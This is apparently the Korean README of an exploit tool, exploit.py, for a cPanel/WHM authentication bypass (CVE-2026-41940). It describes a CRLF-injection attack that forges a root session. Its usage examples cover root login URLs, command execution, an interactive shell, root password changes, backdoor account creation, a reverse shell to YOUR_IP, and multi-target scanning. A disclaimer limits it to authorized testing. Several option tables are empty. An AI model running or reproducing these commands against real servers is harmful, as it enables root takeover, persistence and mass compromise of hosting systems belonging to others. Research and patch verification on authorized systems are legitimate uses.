CVE-2026-41940: cPanel/WHM 인증 우회 (단일 및 다중 대상)
면책 조항: 본 문서와 관련 스크립트(exploit.py)는 교육적 목적, 보안 연구, 그리고 공인된 침투 테스트를 위해서만 제공됩니다. 귀하가 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에는 이 소프트웨어를 사용하지 마십시오.
개요
exploit.py는 cPanel 및 WHM의 인증 우회 취약점(CVE-2026-41940)을 시연하는 스크립트입니다. 이 취약점을 통해 인증되지 않은 공격자가 CRLF 주입 결함을 이용해 데몬 캐시에 루트 세션을 주입할 수 있으며, 궁극적으로 유효한 자격 증명 없이 루트 수준의 WHM 액세스 권한을 얻을 수 있습니다.
취약점 분석 및 익스플로잇 흐름
이 익스플로잇은 Basic Authentication 처리 메커니즘 내의 CRLF(Carriage Return Line Feed) 주입 취약점과 세션 전파 결함을 함께 활용합니다. 스크립트는 공격을 4단계로 자동화합니다:
- 사전 인증 세션 생성: 공개 로그인 엔드포인트(예:
/login/ 또는 /cgi/login.cgi)에 연결하여 기준이 되는 인증되지 않은 세션 쿠키(whostmgrsession)를 획득합니다.
- CRLF 주입: 루트 세션 필드를
cpsrvd 세션 캐시에 직접 주입하는 Base64 인코딩된 페이로드가 포함된 조작된 Basic Authentication 헤더를 전송합니다. 서버의 리다이렉트 응답에서 생성된 보안 토큰(cpsess)이 유출됩니다.
- 세션 전파: 원시 세션 쿠키를 인증된 WHM 엔드포인트로 전송하여
do_token_denied가 위조된 세션을 데몬 캐시로 전파하도록 트리거합니다 — 이를 통해 세션이 유효한 인증 세션이 됩니다.
- 검증: 위조된 세션을 사용하여 제한된 WHM API 엔드포인트(예:
/json-api/version)에 액세스하여 루트 수준 액세스를 확인합니다.
사전 요구 사항
- Python 3.x
requests 라이브러리
사용법
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
인자
대상 선택
| 인자 | 설명 |
|---|
--target URL | 단일 WHM URL (예: https://target:2087) |
--target-file FILE | 대상이 포함된 파일 (줄당 ip:port 하나) — 자동으로 확인 모드 활성화 |
네트워크 및 핵심 옵션
공격 옵션 (우회 후)
출력 옵션
| 인자 | 설명 |
|---|
--output FILE | 세션 토큰 및 세부 정보를 JSON 파일로 저장 |
예시
# 대상이 취약한지 확인
python exploit.py --target https://target:2087 --check
# 서버 정보 덤프 (버전, 계정, 권한)
python exploit.py --target https://target:2087 --dump
# 원클릭 루트 로그인 URL 생성 (브라우저에 즉시 붙여넣기)
python exploit.py --target https://target:2087 --session
# 명령 실행
python exploit.py --target https://target:2087 --exec "id"
# 대화형 WHM 셸 진입
python exploit.py --target https://target:2087 --shell
# 루트 비밀번호 변경
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# WHM API 직접 호출
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# 백도어 cPanel 계정 생성
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# 리버스 셸 전송
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# 호스트 이름 재정의 (자동 감지 실패 시 사용)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# 여러 대상 스캔 (확인 전용 모드)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# 세션을 파일로 저장
python exploit.py --target https://target:2087 --dump --output results.json
대화형 셸 명령
--shell 사용 시 다음 명령을 사용할 수 있습니다:
알림
최신 cPanel/WHM 보안 패치를 즉시 업데이트하십시오.